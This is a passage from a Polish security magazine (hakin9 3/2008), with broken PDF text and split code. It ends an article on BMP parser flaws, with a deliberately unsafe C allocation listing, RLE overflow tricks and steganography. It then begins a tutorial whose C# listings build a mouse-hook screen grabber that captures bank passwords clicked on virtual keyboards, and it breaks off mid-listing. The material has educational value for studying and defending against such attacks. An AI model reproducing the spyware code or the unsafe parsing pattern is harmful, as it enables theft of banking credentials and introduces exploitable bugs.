aczej, paleta zawiera kolejno 2, 16 lub 
256 struktur RGBQUAD.

Dane obrazu – BI_RGB

Dane  obrazu  w  przypadku  BI_RGB 
należy  rozważać  w  dwóch  katego-
riach – faktycznych kolorów RGB (bit-
mapa 24 bitowa), oraz numerów kolo-
rów w palecie barw (1 bitowe, 4 bitowe 
lub 8 bitowe bitmapy). Niemniej jednak 
kilka rzeczy jest wspólne. Pierwszą z 
nich jest zapis bitmapy do góry noga-
mi
, czyli pierwsze w pliku znajdują się 
wiersze które trafią na dół bitmapy, a 
kolejne  zawierają  informacje  o  wier-
szach znajdujących się coraz wyżej w 

Listing 2. 

Niebezpieczny kod alokujący pamięć i wczytujący dane

/* Wylicz szerokosc i wielkosc */

DWORD

 

padded_width

 

=

 

(

bmih

.

biWidth

 

+

 

3

)

 

&

 

(

~

3

);

DWORD

 

size

 

=

 

padded_width

 

*

 

bmih

.

biHeight

 

*

 

(

bmih

.

biBitCount

 / 

8

);

/* Alokacja pamieci */

char

 

*

data

 

=

 

malloc

(

size

)

*

p

;

if

(!

data

)

 

goto

 

err

;

/* Wczytaj dane */

fseek

(

f

bmfh

.

biOffBits

SEEK_SET

);

for

(

p

 

=

 

data

y

 

=

 

0

;

 

y

 

<

 

bmih

.

biHeight

;

 

y

++

p

 

+=

 

padded_width

)

  

fread

(

p

1

padded_width

f

);

Rysunek 2. 

Wykorzystanie ignorowania pola bfOffBits

background image

Format BMP okiem hakera

hakin9 Nr 3/2008

www.hakin9.org

35

faktycznym obrazie. Drugą rzeczą jest 
wspomniane  wcześniej  dopełnianie 
ilości danych (bajtów) w wierszy do ilo-
czynu liczby 4. W przypadku kiedy ilo-
czyn szerokości i ilości bajtów przypa-
dających na piksel nie jest podzielny 
przez 4, na koniec danych wiersza do-
pisywana jest odpowiednia ilość (od 1 
do 3) bajtów zerowych, tak aby całko-
wita ilość danych opisujących wiersz 
była iloczynem liczby 4. Jak się łatwo 
domyślić  żadna  aplikacja  nie  spraw-
dza czy w dopełnieniu zostały użyte 
zera, można więc wykorzystać dopeł-
nienie  do  ukrycia  własnych  danych. 
Korzystając  z  tego  sposobu  można 
ukryć,  w  zależności  od  szerokości 
wiersza, od 1 do 3 bajty na wiersz ra-
zy wysokość bitmapy.

W  przypadku  24-bitowej  bitmapy 

BI _ RGB

 kolejne bajty zawierają, po-

dobnie  jak  w  palecie  barw,  wartość 
barwy niebieskiej, zielonej oraz czer-
wonej każdego piksela (po 3 bajty na 
piksel). Przykładowo, 00 00 00 zosta-
nie  wyświetlone  na  ekranie  na  kolor 
czarny, a 00 FF 00 na kolor zielony. 
Popularną  metodą  steganograficzną 
jest  użycie  najmniej  znaczącego  bi-
tu każdej barwy w każdym pikselu do 
przechowania ukrytych informacji.

W  przypadku  8-bitowej  bitmapy 

kolejne bajty zawierają numery kolo-
rów z palety kolorów, a podczas prze-
noszenia bitmapy na 24-bitowy ekran 
każdy  piksel  jest  zamieniany  z  nu-
meru  koloru  na  wartości  poszcze-
gólnych barw pobrane z palety kolo-

rów. W przypadku 8-bitowej bitmapy 
w wypadku gdy nie wszystkie kolory 
są  używane  (lub  w  wypadku  bitmap 
1-bitowych  i  4-bitowych  skonwerto-
wanych  do  8-bitowej  bitmapy)  moż-
na  ukryć  dodatkowe  informacje  bez 
zmiany wyglądu bitmapy poprzez po-
wielenie  części  palety  kolorów  i  sto-
sowanie  zamiennie  kolorów  z  czę-
ści oryginalnej (0) lub powielonej (1). 
W przypadku 4-bitowych bitmap (czy-
li  16-kolorowych)  skonwertowanych 
do 8-bitowych paletę kolorów można 
powielić 16 razy (256/16 = 16), dzię-
ki czemu na dobrą sprawę najbardziej 
znaczące 4 bity każdego bajtu mogą 
zawierać dowolne ukryte dane.

Dane obrazu – BI_RLE8

Ostatnią  poruszaną  w  tym  artykule 
kwestią  dotyczącą  BMP  jest  kodo-
wanie  RLE  8-bitowych  bitmap.  RLE 
(ang. Run Length Encoding) jest bar-
dzo prostą metodą kompresji polega-
jącą na zapisie danych w postaci pary 
ilość wystąpień oraz znak. Przykłado-
wo ciąg AAAABBB za pomocą RLE 
został  by  skompresowany  do  4A3B
W  przypadku  BMP  za  równo  ilość 
wystąpień
  oraz  znak  mają  wielkości 
jednego bajtu (czyli razem 16 bitów). 
Oprócz tego BMP RLE posiada rów-
nież specjalne znaczniki zaczynające 
się od bajtu zerowego (czyli ilość wy-
stąpień wynosi zero), są to:

00  00  –  Przejście  na  początek 

następnego  wiersza  bitmapy  (czy-
li kolejne dane opisują nowy wiersz, 
przyjmuje  się  że  do  końca  obec-
nego  wiersza  dane  mają  kolor  0). 

Większość aplikacji oczekuje że każ-
dy wiersz będzie zakończony 00 00
ale istnieją również takie (IrfanView) 
u których jest to niekonieczne.

00 01 – Zakończenie bitmapy. Je-

żeli pozostały jakieś niezapisane pik-
sele, nadaje się im kolor 0. 00 02 XX 
YY
 – Ten znacznik składa się z czte-
rech  bajtów.  Dwa  dodatkowe  bajty 
zawierają  liczbę  kolumn  oraz  wier-
szy  o  jaką  wskaźnik  zapisu  należy 
przesunąć  (czyli  mówi  o  tym  ile  pik-
seli  i  wierszy  dalej  znajdują  się  na-
stępne  dane).  Wszystkie  pominię-
te piksele przyjmuje się że mają ko-
lor 0. 00 NN ... (gdzie NN >= 3) – Jest 
to znacznik przełączający dekompre-
sje w tzw. tryb bezwzględny. Zaraz po 
nim następują bajty które nie są zako-
dowane RLE, a po prostu przepisane 
z  kompresowanej  bitmapy  –  o  ilości 
tych bajtów mówi drugi bajt znaczni-
ka (oznaczony jako NN). Bajty nastę-
pujące po znaczniku powinny zostać 
po prostu przepisane na rozpakowa-
ną bitmapę. W przypadku gdy liczba 
NN jest nieparzysta, należy następu-
jące bajty dopełnić jednym bajtem ze-
rowym,  w  celu  uzyskania  parzystej 
liczby bajtów. Oczywiście żadna apli-
kacja nie sprawdza czy jest to bajt ze-
rowy, można więc zapełnić do ukryty-
mi informacjami.

Tak  skonstruowana  kompre-

sja  RLE  stawia  wiele  pułapek  przed 
programistą,  i  jednocześnie  stwa-
rza  wiele miejsc na ukrycie danych. 
Przykładowo osoba chcąca ukryć da-
ne może posłużyć się różnymi sposo-
bami  skompresowania  tej  samej  bit-

Rysunek 3. 

Ta sama bitmapa różnie 

rysowana w różnych programach

Rysunek 4. 

Brak kontroli wartości pola bfOffBits w mspaint.exe

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

36

mapy używając różnych znaczników. 
Przykładowo bitmapa składająca się 
z  kolorów  AABBBCC  może  zostać 
zapisana jako 02 A 03 B 02 C, lub ja-
ko 01 A 01 A 02 B 01 B 01 C 01 C, lub 
nawet  –  korzystając  ze  specjalnych 
znaczników – jako 00 03 A A B 00 00 
02 00 00 01 B 02 C
. Pomijając spra-
wy  skuteczności  kompresji,  liczba 
możliwości w jaki sposób można za-
pisać  taką bitmapę jest nieskończo-
na (choćby dlatego że znacznik 00 02 
00 00
 można wstawiać bezkarnie do-
wolną ilość razy) – można więc stwo-
rzyć pewnego rodzaju kod dzięki któ-
remu można by przechowywać infor-
macje w bitmapie, bez zmiany jej fak-
tycznego wyglądu.

Jeżeli  zaś  chodzi  o  pułapki,  to 

pierwszą  rzucającą  się  w  oczy  jest 
przepełnienie  bufora  w  przypad-
ku gdy programista nie sprawdzi czy 
dekompresja  pojedynczej  pary  RLE 
nie  przepełni  bufora.  Łatwo  wyobra-
zić sobie przypadek w którym bitma-
pa o wielkości 1x1 zawiera w danych 
obrazu znacznik FF 00 (czyli 255 ra-
zy bajt 0). W przypadku braku kontro-
li czy wskaźnik dekompresji nie wyj-
dzie po za bufor, takie coś może spo-
wodować w najlepszym wypadku wy-
jątek, a w najgorszym wykonanie ko-
du.  Analogiczna  pułapka  występu-
je  w  przypadku  znacznika  włączają-
cego tryb bezwzględny. Zapis 

00  FF 

<shellcode> 00

 w danych bitmapy mo-

że  doprowadzić  do  faktycznego  wy-
konania  kodu  (prawdopodobnie  bę-
dzie to trudne, ale jednak możliwe).

Powyższe pułapki są jednak bar-

dzo oczywiste, i mało który programi-
sta  w  nie  wpada.  Troszeczkę  mniej 
oczywistą  pułapką  jest  znacznik  00 
02  XX  YY  służący  do  przesuwania 
do  przodu  znacznika  zapisu  dekom-
presowanych  danych.  Ivan  Fratric  6 
kwietnia  roku  2007  opublikował  in-
formacje na temat wykorzystania ta-
gu  00  02  XX  YY  do  wykonania  ko-
du  w  ACDSee  oraz  IrfanView.  Pro-
blem  polegał  na  tym  iż  programiści 
w  obu  przypadkach  nie  sprawdza-
li czy wskaźnik zapisu po wykonaniu 
znacznika  00  02  XX  YY  nie  opuścił 
bufora  bitmapy.  Możliwe  zatem  sta-
ło  się  nakierowanie  wskaźnika  zapi-
su na dowolny fragment pamięci, i na-

stępnie nadpisanie go dowolnymi da-
nymi.  W  przypadku  IrfanView,  który 
w  tej  wersji  spakowany  był  ASPac-
kiem
,  sytuację  dodatkowo  pogarszał 
fakt  iż  sekcja  .text  (w  której  znajdu-
je  się  kod  programu,  patrz  pliki  PE) 
miała prawa do zapisu, czyli atakują-
cy  mógł  przesunąć  wskaźnik  zapisu 
za pomocą serii 00 02 FF FF na sek-
cje .text, a następnie nadpisać znaj-
dujący  się  tam  kod  własnym  kodem 
– na przykład uruchamiającym back-
doora. Nowsze wersje IrfanView (od 
4.00 włącznie) nie są jednak już po-
datne na ten błąd.

Pewien  mniej  groźny  błąd,  ale 

mogący  utrudnić  życie  użytkowniko-
wi, znalazł autor (współpracując z ha-
kerem o pseudonimie Simey) w prze-
glądarce  Opera  (9.24  oraz  9.50  be-
ta). Programiści Opery popełnili błąd 
podczas  implementowania  tagu  00 
02  XX  YY
  który  powodował  iż  ob-
sługa  tego  znacznika  była  niewiary-
godnie  wolna.  Dzięki  temu  stało  się 
możliwe  stworzenie  bitmapy  której 
przetwarzanie  w  Operze  trwa  4  mi-
nuty na bardzo szybkim komputerze, 
a 20 minut na średnim – w tym czasie 
Opera nie reaguje na żadne bodźce 
zewnętrzne. Atakujący mógłby stwo-
rzyć stronę WWW zawierającą setki 
takich bitmap, przez co przeglądarka 
nieświadomego  użytkownika  mogła 
by  odmówić  posłuszeństwa  na  dłu-
gie godziny.

Podsumowując,  kodowanie  RLE 

stwarza wiele możliwości ataku oraz 
ukrycia informacji. Należy zachować 
szczególną  ostrożność  implementu-
jąc obsługę RLE w formacie BMP.

Bezpieczna 

implementacja

Programista  powinien  pamiętać,  iż 
zgodność  ze  standardem  zapewnia 
bezpieczną obsługę jedynie popraw-
nych bitmap faktycznie zgodnych ze 
standardem  –  pliki  BMP  zgodne  je-

dynie w części ze standardem mogą 
przysporzyć sporo problemów. Wda-
jąc się w szczegóły techniczne, pro-
gramista  powinien  zwracać  uwagę 
szczególnie  na  sprawdzenia  granic 
używanych  buforów  i  tablic  –  bufo-
ru obrazu, buforu skompresowanych 
danych, czy palety kolorów. Granice, 
co  nie  dla  wszystkich  jest  oczywi-
ste, powinny być sprawdzane z obu 
stron, aby zapobiec zarówno błędom 
typu buffer overflow, jak i błędom ty-
pu buffer underflow. Programista po-
winien  również  używać  odpowied-
niego  rozmiaru  zmiennych,  lub  sto-
sownego ograniczania wartości, aby 
zapobiec  sytuacjom  z  przepełnie-
niem zmiennej całkowitej (ang. inte-
ger overflow
) – warto w tym wypad-
ku  zwrócić  uwagę  szczególnie  na 
równanie  obliczające  wielkość  bit-
mapy. Czytając standard należy my-
śleć nie tylko o tym, jak go zaimple-
mentować, ale również jak zabezpie-
czyć przed nieprawidłowym użyciem 
każdej  pojedynczej  cechy  formatu, 
co może się stać, gdyby któreś po-
le  nagłówka  przyjęło  nieprawidłową 
(z logicznego punktu widzenia) war-
tość, oraz jakie mogą być tego kon-
sekwencje. Należy pamiętać, iż pro-
gramista musi zabezpieczyć wszyst-
ko, ponieważ atakujący musi znaleźć 
tylko jeden błąd.

Podsumowanie

Format  BMP,  mimo  swojej  pozor-
nej  prostoty  (w  porównaniu  do  np. 
PNG  czy  JPEG)  jest  najeżony  pu-
łapkami, miejscami gdzie można po-
pełnić choćby drobny błąd, oraz za-
wiera wiele miejsc w których można 
ukryć dodatkowe dane, bez wpływa-
nia na wyświetlaną bitmapę.

Jako  zadanie  domowe  pozosta-

wiam czytelnikowi analizę zapisu da-
nych  obrazu  metodą  BI_BITFIELD
oraz  analizę  pozostałych  wersji  for-
matu BMP. l

O autorze

Michał Składnikiewicz, inżynier informatyki, ma wieloletnie doświadczenie jako pro-
gramista oraz reverse engineer. Obecnie jest koordynatorem działu analiz w między-
narodowej firmie specjalizującej się w bezpieczeństwie komputerowym. 
Kontakt z autorem: gynvael@coldwind.pl

background image

Strony rekomendowane

Misją  serwisu  jest  zaprezentowanie  języ-

ków  programowania  oraz  ułatwienie  użyt-

kownikowi ich szybkiej nauki.

http://www.cjp.xt.pl

Strona  firmy  świadczącej  profesjonalne 

usługii IT, specjalizującej się w wypożycza-

niu  serwerów  i  macierzy.  Firma  prowadzi 

także centrum szkoleniowe.

http://www.itlpolska.pl

Portal  poświęcony  technikom  programo-

wania oraz sposobom ochrony przed za-

grożeniami jakie płyną z Internetu. Przedsta-

wione techniki służą do celów edukacyjnych, 

nie  należy  ich  wykorzystywać  w  niewłaści-

wy sposób.

http://www.hackerzy.pl

Portal  internetowy  poświęcony  w  całości 

branży IT. Podzielony jest na trzy działy po-

święcone sprzętowi komputerowemu, grom 

i rozrywce oraz najnowszym aplikacjom. 

http://www.pcarena.pl/index.php

Do niedawna termin hacking był zarezerwo-

wany tylko dla profesjonalistów. Na tym por-

talu można dowiedzieć się więcej o tym za-

gadnieniu. Znajdują się na nim również aktu-

alności i obszerny dział downloads.  

http://www.hakerczat.prv.pl/index.html

Portal dla wszystkich zainteresowanych te-

matyką  bezpieczeństwa,  audytem,  IT  Go-

vernance w sieciach i systemach teleinfor-

matycznych, a także ochroną danych.

http://www.locos.pl/

Witryna  poświęcona  w  całości  tematy-

ce hakingu. Początkujący w tej dziedzinie 

znajdą  na  niej  działy,  ktore  im  umożliwią 

rozpoczęcie nauki.

http://www.haker.ocom.pl/

Misją  serwisu  jest  dostarczenie  dużej  ilo-

ści  informacji  z  zakresu  informatyki.  Znaj-

dują się na nim ciekawe artykuły, najśwież-

sze informacje z rynku IT, recenzje książek 

jak i kursy tworzenia portali www. 

http://www.swww.pl/

Serwis  poświęcony  branży  IT  oferujący 

codzienne  newsy,  artykuły,  recenzje  ma-

gazynów, testy oraz forum dyskusyjne.  

http://www.webhat.pl/index.php

Strona dla każdego webmastera i hackera. 

Jeśli zawsze chciałeś stworzyć swoją stro-

nę internetowej lub poznać haking od pod-

szewki, to ten serwis Ci w tym pomoże.

http://web4u.neth.pl/

Strona internetowa firmy Fit Consulting spe-

cjalizującej  się  w  nowoczesnych  rozwią-

zaniach  informatycznych,  zaczynając  od 

sprzedaży sprzętu komputerowego i świad-

czeniu usług po zaawansowane rozwiązania 

zarządzania przedsiębiorstwem.

http://www.fit-consulting.pl/

Strona koła naukowego PK IT Security Gro-

up. Koło ma na celu dostarczanie informacji 

związanych z bezpieczeństwem.

http://www.pkitsec.pl/

Strony rekomendowane

background image

www.hakin9.org

hakin9 Nr 3/2008

38

Atak

B

anki  obracają  naszymi  pieniędzmi. 
Starają  się  przy  tym  zachować  mak-
simum  bezpieczeństwa.  W  końcu, 

kto chciałby ulokować swoje ciężko zarobio-
ne oszczędności w banku, który nie zapew-
ni im należytej ochrony? Obecnie większość 
kont standardowo oferuje dostęp przez Inter-
net.  I  tu  zaczynają  się  poważne  schody  dla 
banków.  Przeciętny  użytkownik  bankowości 
elektronicznej  ma  niewielkie  pojęcie  o  bez-
pieczeństwie.  Korzysta  ze  źle  skonfiguro-
wanego komputera, zgadza się na instalację 
obiektów  ActiveX  pochodzących  z  niezna-
nych  źródeł  itd.  Działają  u  niego  programy 
odczytujące hasła wprowadzane z klawiatu-
ry (ang. keylogger). Pokazywaliśmy już w ha-
kin9  1/2008,  w  jaki  sposób  można  samemu 
napisać taki program w języku C#. Aby temu 
przeciwdziałać,  niektóre  instytucje  wprowa-
dziły tzw. wirtualne klawiatury. Podczas logo-
wania się użytkownik musi wprowadzić hasło 
które  –  zamiast  wpisywać  z  prawdziwej  kla-
wiatury – może wprowadzić klikając myszką 
klawisze  wyświetlone  w  przeglądarce  inter-
netowej (Rysunek 1). 

To  rozwiązanie  ma  w  teorii  przeciwdzia-

łać przechwytywaniu haseł przez keyloggery. 

Naturalnie  standardowy  keylogger  nie  pora-
dzi sobie z takim zabezpieczeniem. Wystar-
czy jednak chwilę pomyśleć i – używając tych 
samych  technik  programowania,  co  w  przy-
padku  keyloggera  –  napisać  program,  który 
z  łatwością  obchodzi  wirtualną  klawiaturę. 
Czytelnik pewnie już zdążył się zorientować, 
że chodzi tu o robienie zrzutów ekranu pod-
czas, gdy ofiara klika myszką. Użyjemy me-
chanizmu  haków  –  tego  samego,  który  słu-
żył nam wcześniej do przechwytywania tek-
stu wprowadzanego z klawiatury. Tym razem 
zdarzenie, jakie musimy przechwycić, to kli-
kanie klawiszami myszki. Zamiast zapisywać 

Atak na wirtualną 

klawiaturę

Maciej Pakulski, Sławomir Orłowski

stopień trudności

Wirtualna klawiatura ma przeciwdziałać wykradaniu haseł 

przez programy typu keylogger, czyli w domyśle ma podnosić 

bezpieczeństwo podczas logowania przez Internet. W tym 

artykule chcemy pokazać, jak łatwo to zabezpieczenie złamać.

Z artykułu dowiesz się

•   jak działają haki w systemie Windows,
•   jak z poziomu kodu C# monitorować.

Co powinieneś wiedzieć

•   podstawy  programowania  zorientowanego 

obiektowo,

•   podstawy działania systemu Windows,
•   podstawowa znajomość sieci komputerowych.

background image

Atak na wirtualną klawiaturę

hakin9 Nr 3/2008

www.hakin9.org

39

znaki do pliku, musimy wykonywać 
zrzut  ekranu  i  przechować  go  na 
dysku.  Poza  tym  wszystko  wyglą-
da  tak  samo!  Wniosek  z  tego,  że 
pieniądze  (pewnie  spore)  wydane 
na  wprowadzenie  nowego  zabez-
pieczenia okazują się być pieniędz-
mi wyrzuconymi w błoto. Używając 

tych  samych  technik  programowa-
nia, atakujący może z łatwością na-
pisać program, który odczyta wpro-
wadzane hasło. I nie ma co bronić 
się  stwierdzeniami  typu  zabezpie-
czenia  są  zawsze  krok  za  ataku-
jącym, które zawsze z góry skazu-
je zabezpieczenie na porażkę. Nie 

będziemy także komentować faktu, 
że w przypadku jednego z banków 
klawisze  w  wirtualnej  klawiaturze 
zmieniają swój wygląd przy kliknię-
ciu. Takie zachowanie tylko ułatwia 
wykradzenie hasła, bo nie musimy 
się już martwić o odczytanie pozy-
cji  kursora.  My  jednak  na  łatwiznę 
nie idziemy i zaprezentujemy meto-
dę  umieszczającą  kursor  na  zrzu-
cie ekranu. W tym artykule nie bę-
dziemy opisywać, jak zrzuty ekranu 
wysyłać  przez  Internet,  jak  omijać 
firewall itd. Chcemy zwrócić uwagę 
na  to,  w  jak  prosty  sposób  każdy, 
kto zaimplementował już keylogge-
ra, może napisać program odczytu-
jący  hasła  z  wirtualnej  klawiatury. 
A przecież miała ona przeciwdzia-
łać tego typu atakom.

Tworzymy bibliotekę 

łączoną dynamicznie 

Podobnie  jak  w  artykule  z  hakin9 
1/2008,  rozpoczynamy  od  stwo-
rzenia  biblioteki  DLL.  Uruchamia-
my Visual C# 2005 i wybieramy Fi-
le –> New Project –> Class Libra-
ry
. Projektowi nadajemy nazwę Mo-
useProcDll
.  Pierwszą  czynnością 
będzie  dodanie  niezbędnych  funk-
cji 

WinApi

  z  Listingu  1.  Aby  móc 

zaimportować  funkcje  systemo-
we,  musimy  najpierw  dodać  prze-
strzeń  nazw  System.Runtime.Inte-
ropServices.

Funkcja CallNextHookEx zosta-

ła opisana w artykule o podsłuchi-
waniu klawiatury (hakin9 1/2008). 

Funkcja  GetCursorInfo  dostar-

cza nam informacji o kursorze. Jej 
parametrem  jest  struktura  CUR-
SORINFO.  Aby  móc  korzystać 
z tej struktury, musimy ją wcześniej 
zdefiniować  –  odpowiedni  kod  za-
warty  jest  na  Listingu  2.  Funkcja 
zwraca wartość różną od zera, je-
żeli zdziała poprawnie. Za pomocą 
GetIconInfo uzyskujemy informacje 
o  ikonie  bądź  kursorze.  My  użyje-
my tej funkcji do określenia tzw. hot 
spot  kursora,  czyli  miejsca  aktyw-
nego (dla kursora będącego strzał-
ką hot spot znajduje się na czubku 
grota). Parametry funkcji to uchwyt 
do ikony bądź kursora oraz struktu-
ra ICONINFO, której definicję rów-

Listing 1. 

Import funkcji WinApi

[

DllImport

(

"user32.dll"

)]

private

 

static

 

extern

 

IntPtr

 

CallNextHookEx

(

IntPtr

 

hhk

int

 

nCode

IntPtr

 

wParam

IntPtr

 

lParam

);

[

DllImport

(

"user32.dll"

)]

public

 

static

 

extern

 

bool

 

GetCursorInfo

(

out

 

CURSORINFO

 

pci

);

[

DllImport

(

"user32.dll"

)]

public

 

static

 

extern

 

bool

 

GetIconInfo

(

IntPtr

 

hIcon

,

out

 

ICONINFO

 

piconinfo

);

Listing 2. 

Struktury CURSORINFO i ICONINFO

[

StructLayout

(

LayoutKind

.

Sequential

)]

public

 

struct

 

ICONINFO

{

    

public

 

bool

 

fIcon

;

          

    

public

 

Int32

 

xHotspot

;

      

    

public

 

Int32

 

yHotspot

;

      

    

public

 

IntPtr

 

hbmMask

;

      

    

public

 

IntPtr

 

hbmColor

;

    

}

[

StructLayout

(

LayoutKind

.

Sequential

)]

public

 

struct

 

CURSORINFO

{

    

public

 

int

 

cbSize

;

    

public

 

int

 

flags

;

    

public

 

IntPtr

 

hCursor

;

    

public

 

Point

 

ptScreenPos

;

}

Rysunek 1. 

Wirtualna klawiatura jednego z banków

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

40

nież  przedstawia  Listing  2.  Funk-
cja  również  zwraca  wartość  różną 
od  zera  w  przypadku  poprawnego 
działania.

Następnym  krokiem  jest  doda-

nie do naszej klasy pół z Listingu 3.

Pola 

WM _ LBUTTONDOWN

 

oraz 

WM _ RBUTTONDOWN

  przechowują  ko-

dy  komunikatów  systemu  Win-
dows  oznaczających  odpowiednio 
wciśnięcie  lewego  i  prawego  kla-
wisza  myszy.  Pole 

counter

  wyko-

rzystamy do oznaczenia kolejności 
zapisywanego  pliku  na  dysku,  po-
cząwszy od 0. Pole to będziemy in-
krementować  przy  każdym  zapisie 
obrazu i dodawać jego wartość do 
nazwy pliku. W ten sposób kolejne 
pliki  będą  miały  unikalną  nazwę. 
Pole 

imagePath

  jest  ścieżką  do  ka-

talogu, w którym zapiszemy plik. 

Teraz możemy przejść do napi-

sania  odpowiednich  metod.  Pierw-
sza  z  nich,  o  nazwie 

SaveScreen

będzie tworzyć obiekt klasy 

Bitmap

reprezentujący 

wycinek 

ekra-

nu.  Musimy  jeszcze  dodać  prze-
strzenie  nazw 

System.Drawing

System.Drawing.Imaging

 

oraz 

System.Windows.Forms

Algorytm 

opisujący  tworzenie  zrzutu  ekra-
nu został opisany w hakin9 2/2008. 
Jednakże  tworzenie  zrzutu  całe-
go  ekranu  wymaga  dość  sporego 
nakładu  pracy  procesora.  Gdyby 
użytkownik  naciskał  klawisze  my-
szy bardzo szybko, mogłoby dojść 
do  chwilowych  blokad  płynnego 
działania  systemu.  Tak  więc  bę-
dziemy tworzyć tylko wycinki ekra-
nu  o  wymiarach  100x100  pikseli. 
W  ten  sposób  ominiemy  problem 
dużych zrzutów ekranu, nie tracąc 
przy  tym  możliwości  rozpoznawa-
nia  klawiszy  wirtualnej  klawiatury. 
Kod metody jest przedstawiony na 
Listingu 4. 

Pierwsze 4 instrukcje warunko-

we 

if

  zapobiegają  próbie  zapisu 

obrazu poza ekranem monitora.

Jeżeli metoda zadziała popraw-

nie,  zwraca  referencję  do  obiektu 
klasy 

Bitmap

,  reprezentującej  wy-

cinek  ekranu.  W  przeciwnym  wy-
padku  dostajemy  wartość 

null

Stworzony  w  metodzie 

SaveScreen

 

obiekt nie zawiera jednak żadnych 

Listing 3. 

Dodane pola tworzonej klasy

    

private

 

static

 

int

 

WM_LBUTTONDOWN

 

=

 

0x201

;

    

private

 

static

 

int

 

WM_RBUTTONDOWN

 

=

 

0x204

;

    

private

 

static

 

long

 

counter

 

=

 

0

;

    

private

 

static

 

string

 

imagePath

 

=

 @

"C:

\s

creen"

;

Listing 4. 

Metoda tworząca obiekt klasy Bitmap, reprezentującej 

wycinek ekranu (bez kursora)

private

 

static

 

Bitmap

 

SaveScreen

(

ref

 

int

 

mouseX

ref

 

int

 

mouseY

)

{

    

try

    

{

        

int

 

xCoord

 

=

 

mouseX

 

-

 

50

yCoord

 

=

 

mouseY

-

 

50

;

        

int

 

tmpMouseX

 

=

 

50

tmpMouseY

=

50

;

        

if

 

((

mouseX

 

-

 

50

)

 

<

 

0

)

        

{

            

xCoord

 

=

 

0

;

            

tmpMouseX

 

=

 

mouseX

;

        

}

        

if

 

((

mouseX

 

+

 

50

)

 

>

 

Screen

.

PrimaryScreen

.

Bounds

.

Width

)

        

{

            

xCoord

 

=

 

Screen

.

PrimaryScreen

.

Bounds

.

Width

 

-

 

100

;

            

tmpMouseX

 

=

 

100

 

-

 

(

Screen

.

PrimaryScreen

.

Bounds

.

Width

 

-

 

mouseX

);

        

}

        

if

 

((

mouseY

 

-

 

50

)

 

<

 

0

)

        

{

            

yCoord

 

=

 

0

;

            

tmpMouseY

 

=

 

mouseY

;

        

}

        

if

 

((

mouseY

 

+

 

50

)

 

>

 

Screen

.

PrimaryScreen

.

Bounds

.

Height

)

        

{

            

yCoord

 

=

 

Screen

.

PrimaryScreen

.

Bounds

.

Height

 

-

 

100

;

 

;

            

tmpMouseY

 

=

 

100

 

-

 

(

Screen

.

PrimaryScreen

.

Bounds

.

Height

 

-

 

mouseY

);

        

}

        

Bitmap

 

bitmap

 

=

 

new

 

Bitmap

(

100

100

,

PixelFormat

.

Format32bppArgb

);

        

Graphics

 

screenshot

 

=

 

Graphics

.

FromImage

(

bitmap

);

        

screenshot

.

CopyFromScreen

(

xCoord

yCoord

0

0

new

 

Size

(

100

,

100

)

CopyPixelOperation

.

SourceCopy

);

        

mouseX

 

=

 

tmpMouseX

;

        

mouseY

 

=

 

tmpMouseY

;

        

return

 

bitmap

;

    

}

    

catch

 

{

 

}

    

return

 

null

;

}

Listing 5. 

Metoda tworząca obiekt klasy Icon

private

 

static

 

Icon

 

CursorIcon

()

{

    

try

    

{

        

CURSORINFO

 

cu

 

=

 

new

 

CURSORINFO

();

        

cu

.

cbSize

 

=

 

Marshal

.

SizeOf

(

cu

);

        

GetCursorInfo

(

out

 

cu

);

        

Icon

 

icon

 

=

 

Icon

.

FromHandle

(

cu

.

hCursor

);

        

if

 

(

icon

 

!=

 

null

)

            

return

 

icon

;

    

}

    

catch

 

{

 

}

    

return

 

null

;

}

background image

Atak na wirtualną klawiaturę

hakin9 Nr 3/2008

www.hakin9.org

41

informacji  o  kursorze.  Naszym  za-
daniem  jest  więc  stworzenie  kolej-
nego  obiektu  klasy 

Bitmap

,  który 

będzie  reprezentował  kursor  i  po-
łączenie tych dwóch obiektów w je-
den, reprezentujący wycinek ekranu 
wraz z kursorem. Wykorzystamy do 
tego dwie metody. Pierwsza z nich 
będzie  tworzyć  obiekt  klasy 

Icon

Kod tej metody jest przedstawiony 
na Listingu 5.

Na początku deklarujemy obiekt 

struktury 

CURSORINFO

,  który  używa-

my następnie jako parametr w funk-
cji 

GetCursorInfo

.  Ważne  jest,  aby 

przed wywołaniem tej funkcji usta-
wić  wartość  pola  cbSize  nasze-
go  obiektu  na  ilość  bajtów  zajmo-

wanych  przezeń  w  pamięci.  Uży-
wamy  do  tego  statycznej  metody 

SizeOf

 klasy 

Marshal

. W następnym 

kroku,  używając  statycznej  meto-
dy 

FromHandle

  klasy 

Icon

,  uzysku-

jemy  referencję  do  nowo  utworzo-
nego obiektu. Jako parametr prze-
kazujemy uchwyt do kursora, który 
jest jednym z pól obiektu struktury 

CURSORINFO

.

Za pomocą uzyskanego obiektu 

klasy 

Icon

 możemy stworzyć obiekt 

klasy 

Bitmap

  reprezentujący  kursor 

i  połączyć  ten  obiekt  z  obiektem 
klasy 

Bitmap

 reprezentującym wyci-

nek ekranu. Wykorzystamy do tego 
celu  metodę 

SaveScreenWithCursor

której parametrami są współrzędne 
kursora. Jej kod jest przedstawiony 
na Listingu 6.

Metoda  ta  wykorzystuje  zde-

finiowane 

wcześniej 

metody 

SaveScreen

  oraz 

CursorIcon

.  W  ce-

lu uzyskania informacji o ikonie wy-
korzystujemy  funkcję 

GetIconInfo

Uzyskamy  w  ten  sposób  współ-
rzędne miejsca aktywnego kursora 
(hot  spot).  Współrzędne  te  wyko-
rzystujemy do przesunięcia współ-
rzędnych kursora w celu uzyskania 
prawidłowego położenia kursora na 
ekranie. Prezentuje to Rysunek 2.

Następnie, posługując się obiek-

tem  klasy 

Graphics

,  łączymy  obiek-

ty  klasy 

Bitmap

  w  celu  uzyskania 

obiektu  reprezentującego  wycinek 
ekranu wraz z kursorem. Na końcu 
zapisujemy  obraz  na  dysku  w  for-
macie JPEG.

Ostatnim  krokiem  będzie  napi-

sanie funkcji monitorującej. Jej kod 
jest przedstawiony na Listingu 7.

Pierwsza  instrukcja 

if

  spraw-

dza,  czy  został  wciśnięty  prawy 

Listing 6. 

Metoda zapisująca wycinek ekranu wraz z kursorem w 

formacie JPEG

private

 

static

 

void

 

SaveScreenWithCursor

(

int

 

mouseX

 , 

int

 

mouseY

)

{

    

try

    

{

        

Bitmap

 

screen

 

=

 

SaveScreen

(

ref

 

mouseX

ref

 

mouseY

);

        

if

 

(

screen

 

!=

 

null

)

        

{

            

ICONINFO

 

ic

;

            

Icon

 

cursorIcon

 

=

 

CursorIcon

();

            

if

 

(

